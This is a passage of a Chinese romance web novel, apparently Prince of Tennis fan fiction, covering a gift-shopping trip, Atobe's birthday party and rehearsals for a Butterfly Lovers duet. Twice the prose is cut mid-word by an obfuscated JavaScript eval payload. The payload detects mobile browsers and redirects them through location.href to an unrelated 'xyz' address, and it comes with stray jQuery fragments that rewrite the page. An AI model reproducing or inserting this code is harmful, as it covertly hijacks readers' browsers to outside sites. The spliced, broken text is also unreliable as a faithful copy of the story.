忍足开口,有些困扰,“迹部的礼物还没准备呢。” “三天后就是生日宴了,时间有点紧。” “我打算……今晚放学后去百货商场逛逛。” 言下之意,再明显不过。 如月遥的脚步未停,目光平静地看着前方被落叶铺就的金色路径。 似乎在认真思考这个实际问题。 “嗯。”她应了一声,算是回答了他的潜台词,“正好,我也没准备。” “那下课后我来接你?” “今晚在外面吃晚饭,吃完正好去挑礼物?” 他将晚餐和购物无缝衔接,行程安排得顺理成章,如月遥对此没有异议,简单颔首。 两人走到银杏大道的分岔口。 忍足去医学部,而如月遥则走向文学部方向。 金色的落叶在他们脚下打着旋儿。挺拔的身影在光影中渐行渐远,留下满地碎金。 休养了几天重新回到医学部,堆积的课程和实验报告如同小山。 同学看到他,都惊讶于他异常红润的气色和焕发的精神。 “忍足君?你病好了?”一个同学关切地问。 “是啊,看起来气色比生病前还好呢!” 另一个女生笑着打趣,“难道是传说中的‘病美人’体质?越病越好看?” “嗯,”他坦然接受赞美,声音带着点笑意,语气自然真诚: “家里人照顾得很好。” 这句话他说得无比坦然,又带着一丝不易察觉的甜蜜。 那些专属的病人餐、柔软的羊绒毯、带着她书房墨香的书、甚至连贴身衣物都准备齐全的“服装大礼包”,以及那句让他心花怒放的“住到生日宴结束”的决定…… 这些点点滴滴如同暖流,不仅滋养了他的身体,更熨帖了他的心。 这份来自“家里人”无微不至的照料,让他整个人都像是被彻底充电,充满了前所未有的幸福感。 他步履轻快地走向教室,眼眸里映着走廊窗外灿烂的阳光。 今晚。 还有一场值得期待的“约会”在等着他。 饭后,两人并肩走进灯火辉煌的百货商场。 商场内人流如织,璀璨的灯光映照着琳琅满目的商品。 穿梭在不同的区域,从陈列着最新款网球拍和运动装备的运动区,到需要提前预约量体的高级定制西装店,再到散发着冷冽光芒的顶级腕表与珠宝专柜。 忍足在Montblanc的专柜前驻足良久,修长的手指划过一支支设计精良的钢笔,最终选定了一支经典款式的黑色树脂笔身、镶嵌铂金饰面的Meisterstück系列钢笔。 他请店员在笔夹下方一个极其隐蔽的位置,刻下了一个小小的、却清晰有力的英文单词——“King”。 “迹部会喜欢的。”他笑着对如月遥说,带着对好友品味的绝对自信。 如月遥对迹部的喜好没那么熟悉,她在黑胶唱片区域流连片刻,最终选了一张限量版、音质绝佳的巴赫《无伴奏大提琴组曲》黑胶唱片,包装简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526660|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洁而富有艺术感。 “走吧?”忍足拎起装好钢笔的礼袋,温声询问。 如月遥却摇了摇头,目光投向商场深处一个方向。 “再逛逛。” 忍足自然毫无异议,拎着两个购物袋,跟在她身后。 直到如月遥在一家装潢极具东方韵味、标识着醒目中文“周生生”的金店门口停下脚步。 忍足有些意外。 如月遥走进店内,在明亮的玻璃柜台前缓步移动,目光专注地扫过那些闪耀着光泽的黄金饰品,最终指尖在某处点了点。 柜姐立刻会意,戴上白手套,小心翼翼地取出托盘里的一个物件。 忍足凑近,小巧的正方体珠子,约莫指甲盖大小。 奇特的是,它并非耀眼的金色,而是呈现出一种深邃内敛的黑金色泽,表面打磨得极其光滑,在灯光下流转着神秘的光晕。 “这是?” “转运珠。”如月解释,拿起那颗小珠子放在掌心,黑金的珠子在她白皙的掌心里,更显耀目。 “中国人喜欢黄金,”客观地陈述,“认为它有力量,很贵重。” 指尖轻轻摩挲着珠面:“做成转运珠是一种期许。希望它能带来好运,转走厄运。” 忍足低声说,“学到了。” 如月遥将珠子递还给柜姐。 “配条黑皮绳。”指令简洁明了。 柜姐动作利落地挑选了一条质感上乘、粗细适中的黑色皮绳,将那颗黑金色的转运珠牢牢地固定在了皮绳中央,形成一个简约却极富力量感的黄金串珠手绳。 如月遥接过编好的手绳,黑皮绳衬得她手指愈发白皙修长。 她转过身,目光落在忍足脸上,语气平淡无波:“左手伸出来。” 忍足:“……?” 他大脑有一瞬间的空白,只是下意识听话地伸出了自己的左手。 下一秒,带着微凉体温的指尖轻轻托住了他的手腕。 忍足的心跳骤然失序,眼睁睁看着她低下头,神情专注而平静,亲手将那条串着黑金转运珠的皮绳,稳稳地戴在了他的左手腕上。 皮绳的触感微凉而柔韧,那颗小小的、沉甸甸的黑金珠子,紧紧贴着他的腕骨内侧皮肤,带着奇异的、令人心安的质感。 柜姐在旁看着,脸上露出笑容,一边熟练地操作着POS机,一边赞叹:“小姐眼光真好!这款转运珠低调大气,和这位先生的气质特别搭!” “而且,这款转运珠的寓意特别好,是‘守护’呢。” 守护…… 这两个字如同带着魔力,击中了忍足的心脏。 如月遥付完钱已经径直向店外走去,背影依旧淡定挺拔。 忍足这才猛地回神,如同海啸般的狂喜瞬间席卷了他。 几乎是踉跄着追出店门,几步赶上,声音因为激动而微微发颤: “大小姐……这……为什么送我礼物?” 他抬起手腕,那颗黑金珠子在商场璀璨的灯光下流转着神秘的光泽。 如月遥脚步未停,侧过头瞥了他一眼,“你的生日也快到了吧。” 忍足再次愣住,“你怎么知道?” “你发烧的时候手机一直在震动,我不小心看到了你姐姐发来的信息。” “她问你想要什么生日礼物。” 忍足挡在如月遥面前,眼眸紧紧锁住她,里面翻涌着浓烈得化不开的情感。 “为什么……” “为什么对我这么好?” 忍足急切地追问,像一个渴望得到糖果确认的孩子。 “照顾生病的我,送我衣服,现在又……” 他抬起手腕,那颗黑金珠子仿佛带着灼热的温度: “……送我这么贵重的礼物……” 他期盼地看着她,眼神里充满了渴望,渴望得到一个能让他心安的答案。 如月遥被迫停下脚步,迎上他灼热的目光。商场的顶灯将她长长的睫毛投下一小片阴影。 她静静地看了他几秒,周围的喧嚣仿佛瞬间远去。 然后,樱唇轻启,吐出的字句却带着理所当然、近乎霸道的平静。 “我乐意。” 这三个字,如同最猛烈的撞击,狠狠砸在忍足侑士的心上。 比任何甜言蜜语都更直接,比任何承诺都更有力量。 简单霸道,却是属于她的、独一无二的心意。 忍足僵在原地,心脏在胸腔里疯狂擂动,几乎要冲破喉咙。 他张了张嘴,却发现自己什么声音都发不出来。 所有的语言,在这份沉甸甸的“我乐意”面前,都显得苍白无力。 他只能攥紧了左手腕上那颗温润的黑金珠子,仿佛攥住了整个世界的光。 如月遥看着他这副呆滞的样子,挑了挑眉梢,似乎觉得他有点傻。 她绕过他,继续向前走去。 忍足在原地呆立了好几秒,才回过神,压下几乎要夺眶而出的滚烫湿意,快步追了上去。 这一次,他没有再问任何问题。 手腕上那颗小小的黑金转运珠,紧贴着他的脉搏,每一次跳动,都仿佛在诉说着无声的誓言。 守护。 他愿意用一切去守护这份“我乐意”。 59. 第 59 章 迹部景吾的生日宴会,如同宫殿般的宴会厅里,拉开序幕。 夜色为这座占地广阔的庄园披上了华贵的绒毯,无数璀璨的水晶灯将庭院和建筑映照得如同白昼。 忍足侑士率先下车。 一身深蓝色的高定西装完美地勾勒出他挺拔修长的身形,如同静谧的深海。 剪裁利落的衣料在灯光下泛着低调而奢华的光泽。 他站直身体,眼眸在璀璨的灯光下,比平时更加深邃迷人,仿佛蕴藏着整个浩瀚星海。 而最引人注目的,是他左胸襟上别着的那枚胸针。 并非传统的宝石花卉,而是一轮由无数细密碎钻镶嵌而成的、清冷皎洁的明月。 钻石的光芒在他沉稳内敛的气质映衬下并不张扬,却散发着不容忽视的存在感,如同大海深处倒映的月光。 绕到副驾驶,拉开车门,微微躬身,向车内伸出一只手。 一只纤细白皙的手轻轻搭在了他的掌心,如月遥的身影出现在众人视线中。 她穿着一袭量身定制的银色曳地长裙。由无数层细密的、如同月光织就的轻纱堆叠而成。 随着她的动作,裙摆如同流淌的月华,蜿蜒而下,在灯光下折射出柔和而变幻的光泽。 墨黑长发被高高盘起,露出优美如天鹅般的脖颈和线条精致的蝴蝶骨,几缕碎发慵懒地垂落在耳畔。 没有任何繁复的珠宝,只在耳垂点缀着两颗小巧却光芒四射的钻石耳钉,以及颈间一条极细的钻石项链,如同星子洒落凡间,与她清冷的气质相得益彰。 忍足曲起手臂,支起手肘。 如月遥轻轻挽住了他的臂弯。 动作流畅,仿佛已经演练过千百遍。 高大英俊、气质如海的忍足侑士,挽着清冷绝艳、身披月华的如月遥。 两人站在一起的瞬间,仿佛将大海的深邃与月光的清冷完美融合,形成了一幅极具冲击力的画面。 周围的空气都凝滞了一瞬。 紧接着,无数道惊艳、赞叹、羡慕的目光如同聚光灯般投射过来,低低的惊叹声如同涟漪般在宾客中扩散开。 “天哪……太般配了……” “忍足君今晚……简直像王子!” “那位就是传说中的如月小姐?比照片上还要美……” “他们站在一起……简直像画报!” 忍足微微低头,温柔地看向臂弯中的她,嘴角噙着满足而沉静的笑意。 如月遥神色平静,扫过前方辉煌的入口,微微扬起下巴。 默契地迈开步伐。 忍足体贴地配合着如月遥的步伐,让她能优雅地提起曳地的裙摆。 他们就这样在无数目光的注视下,如同真正的王子和公主,并肩走进了迹部庄园灯火通明、衣香鬓影的主宴会厅。 宴会厅内,早已是名流云集,觥筹交错。 冰帝网球部的一众正选们自然是早早就位,占据了一个视野极佳的角落。 “哇哦!”向日第一个眼尖地发现了入口处那对光芒四射的身影,激动地用手肘猛戳旁边的宍户,“快看快看!侑士!还有如月!” “看到了!”宍户难掩惊讶,压低了声音,“他们……是挽着手进来的?!” “何止是挽手!”向日兴奋得脸都红了,声音压得更低,“你们看侑士那眼神!还有如月那动作!自然得不得了!” 凤长太郎在一旁连连点头,脸上带着真诚的笑容:“忍足前辈进展很稳啊。” 连一向沉稳的桦地也默默地点了点头。 泷荻之介低声总结:“几乎已经是男女朋友的既视感了。” 宴会厅的另一侧,清水绫子也静静地站在那里。 她穿着一身得体的浅紫色小礼服,目光追随着那对从门口走进来的、吸引了全场目光的璧人。 看着忍足高大挺拔的身影,看着他眼眸中只倒映着臂弯中那轮清冷月华的深情目光,看着他举手投足间流露出的温柔与守护。 清水绫子的心口,曾经那份剧烈而不甘的刺痛,此刻却奇异地平静了下来。 仿佛汹涌的潮水终于退去,露出了被冲刷得平滑的沙滩。 原来如大海般深邃的眼眸里,早已被一轮独一无二的明月占据,再也容不下其他星辰。 原来爱情能让天才也心甘情愿地低头。 能让最优雅的绅士,也迸发出近乎疯狂的执着。 她轻轻地、长长地舒了一口气,脸上浮现出一抹释然的、带着点淡淡自嘲的笑容。 那么…… 她清水绫子,被这样一份强大而纯粹的爱情绊了一跤…… 似乎也没什么丢人的了…… 她端起手边的香槟,对着那对光芒四射的身影,无声举杯。 然后,一饮而尽。 带着祝福,也带着与自己的和解。 迹部站在宴会厅中央最高的台阶上,眼眸扫过全场,自然也看到了自己一手促成的“成果”。 华丽的面容上露出一抹满意的微笑,优雅地举起手中的水晶杯。 “沉醉在本大爷华美的生日宴会中吧!” 灯光璀璨,音乐流淌。 属于迹部景吾的盛宴,也因那对携手而来的明月与深海,增添了一抹令人难忘的华彩。 宴会厅内灯光被调暗,悠扬的古典乐流淌在空气中,如同月光下的溪流。 衣香鬓影的宾客们纷纷滑入舞池,裙摆旋转,光影交错。 忍足站在如月遥身侧,他微微躬身,姿态优雅而郑重,向她伸出手。 “大小姐,”声音低沉悦耳,带着深切的期盼,“能请你跳支舞吗?” 如月遥抬起眼,对上他眼中几乎要满溢出来的深情。 那目光太过专注,太过灼热,让她心头莫名地微微一悸。 算了…… 她对自己说。 就…答应他吧。 她也不知道,自己怎么会对这个总是带着点狡猾、却又执着得让人无法拒绝的家伙,生出这么多的包容。 纤白的手,带着微凉的触感,轻轻放入了忍足温暖的掌心。 他如同捧着稀世珍宝般,握紧了那只手。另一只手,轻轻揽住了她柔韧的腰肢。 华尔兹的旋律如同温柔的潮汐,将他们包裹。 随着音乐的节拍,两人缓缓滑入舞池中央。 他的舞步沉稳而流畅,天生的优雅气度,完美地引导着如月遥。 她的银色长裙随着旋转流淌出月华般的光泽,裙摆如同绽放的银色花朵。 忍足微微低头,目光一瞬不瞬地落在怀中的人身上。 灯光勾勒着她的侧脸轮廓,樱唇紧抿,神情依旧带着惯常的疏离,却因这亲密的共舞而染上了一层朦胧的柔光。 看着她就在自己臂弯里,如此真实,如此贴近…… 忍足的笑意如同春水般漾开。 一曲终了,最后一个音符落下。 忍足恋恋不舍地停下脚步,手臂却依旧虚虚地环着她的腰 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如月遥的身体几不可察地僵了一下,却没有躲开,只是继续低头对付那块蛋糕,耳根却悄悄染上了一层极淡的粉色。 “如月!忍足君!” 一个充满活力的声音打破了两人之间微妙的氛围。 水谷雅子像只欢快的小鸟,蹦蹦跳跳地跑了过来。 她今天穿着一身粉裙,眼睛亮晶晶的,围着如月遥转了一圈,毫不吝啬地发出赞叹: “哇!如月你今天太美了!简直像月光女神下凡!” “忍足君也好帅!你们俩站在一起,就是今晚最耀眼的风景线!” 她叽叽喳喳地夸完,话锋一转,带着点小兴奋:“对了如月,我上次跟你说的婚纱设计,最终稿已经定下来啦!现在正在制作中!” 她双手合十,大眼睛里充满了恳求,“拜托拜托!你一定要当我的主模特!只有你才能穿出我想要的那种感觉!” 如月遥对水谷的热情早已习惯,她咽下口中的蛋糕,点了点头:“嗯,答应你了。” 水谷雅子立刻眉开眼笑,她狡黠的眼珠子滴溜溜一转,目光落在了旁边俊美挺拔的忍足身上。 “那……”她拖长了语调,带着点小狐狸般的算计,“男模特的话,拜托忍足君可以吗?” 她眨巴着大眼睛,意思再明显不过,这可是我帮你绝佳的助攻机会。 接收到了水谷雅子传递过来的信号,忍足心中狂喜,面上却维持着沉稳,轻咳一声,将决定权完全交给她:“我听如月的。” 水谷雅子立刻将充满期待的目光投向如月遥。 如月遥看着忍足那张写满“我绝对配合”的俊脸,又看了看水谷雅子那“你不答应我就哭给你看”的表情。 叹了口气,“真麻烦。” “就他吧。” “也没别人了。” 也没别人了。 这五个字,如同最甜蜜的魔咒,缠绕了忍足的心脏。 “耶!太棒了!谢谢如月!谢谢忍足君!我这就去告诉师傅!” 她欢天喜地地跑开了,像只终于偷到油的小老鼠。 忍足端起手边的果汁,掩饰性地抿了一口。 清甜的果汁滑入喉咙,却远不及他此刻心头的甜意万分之一。 嗯…… 除了他…… 没有别人了。 这个认知,让他整个人都仿佛浸泡在温暖的蜜糖里,连周围的空气都变得无比香甜。 60. 第 60 章 生日宴的狂欢进入了下半场。 宾客们三三两两地分散开来,寻找着属于自己的乐趣。 一侧区域传来悦耳的歌声或激昂的乐器演奏,另一处则围满了兴致勃勃尝试塔罗牌占卜或猜谜的人群。 而在宴会厅更深处,一场低调而奢华的慈善拍卖正在举行,据说所有善款都将由迹部捐献给青年网球组织,为其添砖加瓦。 如月遥站在相对安静的落地窗边,目光有些放空地投向窗外灯火璀璨的庭院。 一个身影悄然靠近。 清水绫子停在她身侧半步的距离,恢复了往日的优雅端庄,仿佛轻井沢那个失态失控的女孩从未存在过。 低头扫过如月遥随意搭在一旁的左手。 那道曾经狰狞的伤口,如今已经愈合,只留下一条极其浅淡的、几乎看不出来的粉色疤痕,如同被岁月温柔抚平的一道印记。 “我已经和父亲谈过了。” “我不会和忍足家联姻。” “不会再有任何联姻的可能。” 如月遥侧过头,显然有些意外,却还是送上了祝福,“恭喜。” 恭喜你,从无形的牢笼中为自己夺得了珍贵的“自由权”。 清水绫子迎着她的目光,心情复杂难言。 嫉妒?不甘? 似乎都已远去,只剩尘埃落定的平静。 她沉默了几秒,从左手那道几乎看不见的疤痕,看向她清冷精致的脸庞。 “忍足君已经向你表白了吧?” 清水绫子的声音很轻,却极为肯定。 “今天你们一起出席,这样的姿态,应该就是官宣了吧。” 如月遥的眼眸里掠过一丝错愕,随即被她强行压下。 她立刻否认,斩钉截铁,“没有。” 目光瞥向清水绫子,带着点警告:“清水,不要乱猜。” “乱猜?” 清水绫子像是听到了什么好笑的事情,倾身凑近了些,目光锐利地直视着如月遥。 “全世界都看得出来,忍足侑士有多喜欢你。” “你别自欺欺人。” “他从头到尾,所有的目光,所有的温柔,所有小心翼翼的靠近……” 清水绫子的声音低沉下来,带着自己也说不清的复杂情绪: “都只给了你一个人。” “那不仅仅是绅士风度。” “那是爱一个人的眼神。” “如月,你感觉不到吗?” 空气在这一刻凝固。 清水的话如同最锋利的冰锥,狠狠凿开了她心头那层自以为坚固的壁垒。 表白?官宣? 全世界……都看得出来…… 忍足侑士……喜欢她…… 这个被赤裸裸摆在她面前的、看似显而易见却又被她刻意忽略了很久的“事实”,第一次如此清晰、如此不容回避地被“外人”戳穿。 一股极其古怪的、难以言喻的感觉,攫住了如月遥的心脏。 不是厌恶,不是抗拒,而是一种陌生的、带着点慌乱和无所适从的悸动。 忍足侑士喜欢她。 这个认知蛮横地闯入了她的大脑。 她不由自主地回想起认识以来的种种—— 山林遇险时他明明害怕却还想冲过来保护她的身影…… 为她包扎时颤抖却无比专注的指尖…… 烟火下小心翼翼牵起她手腕的温度…… 高烧昏迷时笨拙却固执的靠近…… 花园里捧着书陪她看夕阳的侧影…… 还有今晚,他眼中那几乎要将人溺毙的、毫不掩饰的深情…… 这些无声的守护、小心翼翼的试探、别扭的纵容,背后都藏着这样一份…… 名为“喜欢”的情感吗? 心口的位置,仿佛被什么东西轻轻撞了一下,又酸又涩,带着难以掌控的暖流。 看着如月遥陷入沉默,那双总是凌厉的眼里,第一次清晰地浮现出困惑和茫然,清水绫子忽然觉得有些解气,又有些好笑。 脸上挂起抹略带嘲讽的笑意,语气也变得轻松起来,带着点“过来人”的调侃: “呵……” “之前怼人的时候,不是挺厉害的吗?天不怕地不怕的如月大小姐……” “怎么现在倒怂了?” 她轻轻整理了一下自己的裙摆,优雅转身,“你自己慢慢想吧。” 如月遥独自站在落地窗前,对着窗外璀璨却冰冷的灯火,陷入了前所未有的纷乱沉默。 晚宴的喧嚣似乎在这一刻被无形的屏障隔绝。 喜欢 这两个字,在她向来冷静自持的脑海里盘旋发酵,让她有些不知所措的潮热。 忍足侑士…… 那张总是带着温和笑意,眼底却藏着深海般情绪的脸,在她眼前无比清晰。 心跳,似乎漏掉了一拍。 夜色渐深,喧嚣如同退潮般平息。 宾客们带着微醺的醉意和尽兴的满足,三三两两地告别离开。 庭院里,初秋的凉意伴随着夜风悄然弥漫开来。 如月遥站在主宅门口的石阶上,等着忍足将车开过来。 她身上只穿着那件单薄的银色长裙,晚风吹拂过裸露的肩颈和手臂,带来明显的凉意,下意识地抱了抱手臂。 一件带着暖意和熟悉气息的西装外套,稳稳落在了她的肩膀上。 雪松冷香瞬间包裹了她。 明明是她常用的香水。 但…… 为什么…… 在这同源的冷香之下,还缠绕着一股更温厚、更沉静、如同冬日暖阳下松林般的气息? 独属于忍足侑士的气息。 这个认知如同电流般瞬间窜过如月遥的神经,她猛地从刚才被清水绫子搅乱的心绪中抽身惊醒。 清水的话还在耳边盘旋—— “全世界都看得出来,忍足侑士有多喜欢你。” 喜欢…… 这混合着他体温和独特气息的包裹,带着一种近乎霸道的亲密感,让她心头那阵陌生的悸动瞬间炸开。 本能地抗拒,伸手就想把这件充满了“忍足印记”的外套扯开。 然而,温热而有力的大手,却更快地、稳稳地按在了她扯着外套边缘的手背上。 忍足已经站在了她身侧,高大的身影挡住了侧面吹来的夜风。 “夜深了,降温了。” 低沉悦耳,如同哄劝一个任性的孩子,“别着凉了。” 他的话语听起来体贴又绅士,可是那只按在她手背上的手,力道却异常坚定,将她试图挣脱的动作牢牢按住,根本不容她拒绝这份“温暖”。 如月遥的动作僵住。 一丝自己都没察觉到的别扭盛满了眼眸。 四目相对。 清水的话语再次清晰地回响。 “那是爱一个人的眼神” 爱…… 这个字眼烫得她心尖一颤。 她看着他眼中那毫无保留的专注和温柔,只觉得心口那阵陌生的悸动愈发强烈,几乎让她有些喘不过气。 飞快地移开视线,紧抿着唇,不再试图挣脱外套,却也没有回应。 她沉默地站在那里,任由混合着他体温和气息的暖意将自己包裹。 心底那股古怪的感觉如同藤蔓般缠绕,让她有些无所适从。 忍足感觉到她的异样,心头一紧。 怎么了? 刚才还好好的…… 清水绫子跟她说了什么? 疑惑丛生,但深知如月遥的脾气,越是追问,她越是会把自己藏进更深的壳里。 不能强问。 “宴会差不多结束了,”他的声音放得更柔,带着点征询的意味,“咱们走吧?” 如月遥巴不得快点离开这个让她心绪不宁的地方,立刻点了点头:“嗯。” 忍足自然地牵起她那只没有被按住的手,掌心相贴,他干燥而温暖的手,将她微凉的手指完全包裹。 “散场人多,你穿着高跟鞋,不好走。” “我拉着你。” 又是这个理由! 如月遥低头看着自己被牢牢握住的手,感受着那源源不断传递过来的温热和包裹感。 被清水点破的、关于“喜欢”的认知瞬间变得更加清晰而灼人。 最近他拉她手的次数明显增加了。 从山林里笨拙的试探,到烟火下的小心翼翼,再到电影院里的执着,以及今晚舞池中的引导…… 每一次靠近,每一次触碰,都像是他无声而坚定的蚕食。 羞恼和慌乱涌上心头。 “下次不许拉手了!”她狠狠地瞪了忍足一眼,声音不大却足够清晰。 像是在宣告主权,又像是在给自己设定防线。 忍足脸上的笑容不变,仿佛根本没听见这句“警告”,也完全无视了那记毫无杀伤力的瞪视。 他手上微微用力,将她纤细的手指握得更紧了些。 夜风吹拂着他额前的碎发,也吹动了他嘴角那抹得逞意味的弧度。 下次不许拉手? 忍足在心里无声地、斩钉截铁地回应着那个小小的抗议: 还拉。 就拉。 偏要拉手。 他想就这样拉着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526662|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉一辈子。 车子行驶在回程的路上。 车厢内流淌着舒缓的古典乐,如同夜色中低吟的溪流。 窗外的霓虹光影在如月遥清冷的侧脸上明明灭灭,披在她肩头的西装外套,依旧萦绕着那让她心绪不宁的暖意。 忍足握着方向盘,声音在音乐的低徊中响起,打破了沉默: “刚才迹部找我。” 语调平稳,是商量的口吻,“谈学园祭表演的事。” “他问我是想独奏,还是……” “合奏。” 说完这句,他刻意停顿了一下,车厢里只剩下音乐的流淌。 他自然地将问题抛给了她:“你怎么想?” 如月遥扭头看着窗外飞速倒退的夜景,眼眸里映着流动的光斑。 带着点事不关己的随意:“随便,都可以。” 握着方向盘的手指收紧了一下,仿佛下定了某种决心,“曲子我想定《梁祝》。” 继续阐述自己的想法,语气认真:“按我的打算,我想合奏。” “小提琴和琵琶合奏,会很有新意。东西方弦乐的碰撞,表现力…也会更强。” 《梁祝》 如同石子,在如月遥的心湖里漾开一圈清晰的涟漪。 搭在腿上的指尖微微蜷缩了一下。 那缠绵悱恻、生死相随的旋律瞬间在她脑海中流淌起来。 爱情……化蝶…… 她几不可察地抿紧了唇,心里掠过一丝难以言喻的复杂滋味。 这曲子太……意味深长了。 忍足等了片刻,没有听到回应。 微微侧头看向身旁的女孩。灯光掠过她低垂的眼睫和紧抿的唇线。 “大小姐?” “愿不愿意和我合奏?” 他问得直接,声音里有一丝紧张。 如月遥没有立刻回答。 垂在身侧的手,无意识地抬起,指尖轻轻摩挲着披在肩上的深西装外套的袖口。 那触感细腻的羊毛面料,带着忍足的体温,像他此刻沉静温柔的眼眸。 车厢里的空气仿佛凝固了,只有音乐还在低低地诉说着。 没等到她的回答,心头有些失落,又觉得不适合再追问,只好收回目光,专注开车。 时间在沉默中流淌。 如月遥的目光,忽然不受控制地飘向身侧,落在了忍足握着方向盘的左手上。 手腕处,那条黑色的皮绳清晰可见。 深邃的黑衬托着他腕骨的线条,显得格外有力而好看。 皮绳中央黑金色的转运珠,在仪表盘微弱的光线下,流转着温润而神秘的光泽。 “喜欢这个礼物吗?” 她的声音毫无预兆地响起,打破了车厢里的沉默,清泠依旧,却带着一丝细微的在意。 忍足充满了惊讶,随即回答得毫不犹疑。 “当然喜欢!”声音因为激动而微微拔高,恨不得剖开自己的心给她看。 “这是我这么多年来。” “最喜欢的生日礼物。” 他想起刚才在宴会上,自己如何“不经意”地抬手整理袖口,让那黑金手绳在灯光下显露出来。 想起向日第一个眼尖地发现,咋咋呼呼地追问;想起自己故作低调却掩饰不住愉悦地回答“是如月送的”时,周围那群损友爆发的暧昧哄笑和羡慕嫉妒恨的眼神…… 那份隐秘的、宣告所有权般的得意和满足感,此刻再次涌上心头。 如月遥没有接话,微微转过头,重新将视线投向窗外飞速掠过的、模糊不清的夜景。 过了好几秒,就在忍足以为这个话题已经结束,天籁响起: “合奏就合奏吧。” 随即补充了一句,是熟悉的警告:“不过……” “你要是表现得太差了……” “我就把你的小提琴砸了。” “没问题!绝对不会让大小姐失望。” 忍足的轻笑声在车厢里回荡,如释重负。 如月遥的目光看似依旧落在窗外。 然而车窗玻璃上,清晰地映出了她此刻的动作。 余光飞快地瞥向驾驶座的后视镜,镜子里,清晰地映出忍足的侧脸。 他嘴角的弧度弯得极高,如同新月。 眼眸里盛满了亮晶晶的光芒,温柔得能融化寒冰,又带着少年般的意气风发,在昏暗的车厢里熠熠生辉。 如月遥飞快地转开视线,假装专注地盯着前方模糊的风景。 指尖抬起,有些慌乱地摸了摸自己微微发烫的耳垂。 那灼热的温度,如同她此刻心头悄然蔓延开的、陌生的暖流。 61. 第 61 章 学园祭的筹备如火如荼。 排练教室里,每天下午都流淌美妙的弦乐合鸣。 西方小提琴的悠扬与东方琵琶的清越,两种截然不同却又奇妙融合。 熨帖的白衬衫,袖口挽起,露出线条流畅的小臂。 忍足站在谱架前,修长的手指稳稳地握着琴弓,深邃的目光时而落在乐谱上,时而专注地看向几步之外的人影。 如月遥抱着那把她从不让别人碰的檀木琵琶,指尖灵活地在丝弦上拨捻挑抹,清冽如泉的乐音便流淌而出。 两人配合得越来越默契。 小提琴如泣如诉的旋律,如同梁山伯深情的低语;琵琶铮铮淙淙的音符,时而如祝英台明媚的欢笑,时而如她悲愤的抗争。 东西方的碰撞,没有生硬的割裂,反而在忍足精心的改编和无数次磨合下,产生了奇妙的化学反应,缠绵悱恻,张力十足。 水谷雅子成了他们的“专属粉丝”兼“艺术顾问”,经常拎着小点心溜达过来,坐在角落的椅子上,托着腮听得入神,时不时还提出些天马行空但意外的很有启发性的建议。 迹部也来过几次,抱着手臂靠在门框上,眼眸带着挑剔审视。 “嗯,还算华丽。” “能进本大爷的耳朵。” 排练的间隙,忍足会拿出《梁祝》的中文故事书。 神情认真得如同在研究医学文献。 “英台……吾爱……” 他尝试着用生涩但努力标准的中文念出书中的经典段落,发音虽然带着明显的日语腔调,显得有点奇怪,却透着一股令人心软的认真劲儿。 “……生前不能同衾,死后……” “停。”如月遥打断了他。 忍足疑惑。 如月遥走到他身边,扫过书页上的文字,然后用极其标准的普通话,清晰而缓慢地复述了一遍。 “是‘同衾(qīn)’,”她纠正着他的发音,“生前不能同衾,死后当同穴。” 声音没什么波澜,却耐心地跟他讲述起梁祝故事里那些动人的细节。 草桥结拜、十八相送、楼台相会、哭坟化蝶…… 她很冷静,如同在阐述一个既定的历史事实,但那份属于东方爱情的含蓄、热烈与悲壮,却清晰地传递出来。 气氛安静而融洽。 阳光透过高大的窗户洒进来,空气中漂浮着细小的尘埃。 听着她的讲述,看着她近在咫尺的轮廓,心头涌动着难以言喻的满足。 这份融洽的氛围太过美好,以至于他晚上入梦,梦境里都是两只翩跹相依、冲破一切阻碍的彩色蝴蝶。 一次排练休息。 忍足合上故事书,望向正在调试琵琶弦的如月遥,询问道:“大小姐,”他的声音放得很轻,“如果,你遇到了像梁祝一样的阻拦……” “家族的压力,世俗的眼光,重重阻碍……你会怎么做?” 手指一顿,她没有惊愕,只有沉静的思考。 几秒后,她身体微微后仰,靠在椅背上,清泠而不容置疑: “我会扭转局面。” “让他们无法成为阻碍。” “如果真的到了无法扭转的地步……” 她的声音低沉了些许,近乎冷酷的清醒,目光悠远而坚定: “那起码……” “我的心是自由的。” “无人可以束缚我。” “也不能管束我的爱。” 这答案,冷静,强大,带着属于如月遥独有的、近乎狂妄的自信和掌控力。 忍足的心脏被狠狠撼动,眼眸里充满更深的迷恋。 “我的话……”他开口,是与平时温和模样截然不同的、近乎偏执的炽热。 “我会不顾一切。” “不惜一切代价。” 一定要取得胜利。” 他微微前倾,声音低沉而充满力量,“什么手段都可以。” 像是在宣誓,又像是在剖析自己的内心,“我都不惜去尝试。” 说到这里,他像是想到了什么,语气里有一丝自嘲,“只盼着我的‘祝英台’……” “别嫌弃我‘百无一用是书生’。” 如月遥打量了他几眼,目光重点在他包裹在白衬衫下、线条分明而充满力量感的肩臂线条上停留了片刻。 “百无一用是书生?”她重复了一遍,随即摇了摇头。 “你对自己有什么误解?” 毫不留情的客观评价,指尖隔空点了点他的手臂:“你肌肉挺扎实的。” “看起来能挨几顿揍。” 忍足侑士:“……” 他脸上的深情告白戛然而止,错愕又哭笑不得。 最终发出一声挫败的叹息,有气无力: “你可真会夸人啊……” 阳光透过窗户,暖洋洋地洒在忍足无奈又纵容的脸上,如月遥眼底却掠过一丝极淡笑意。 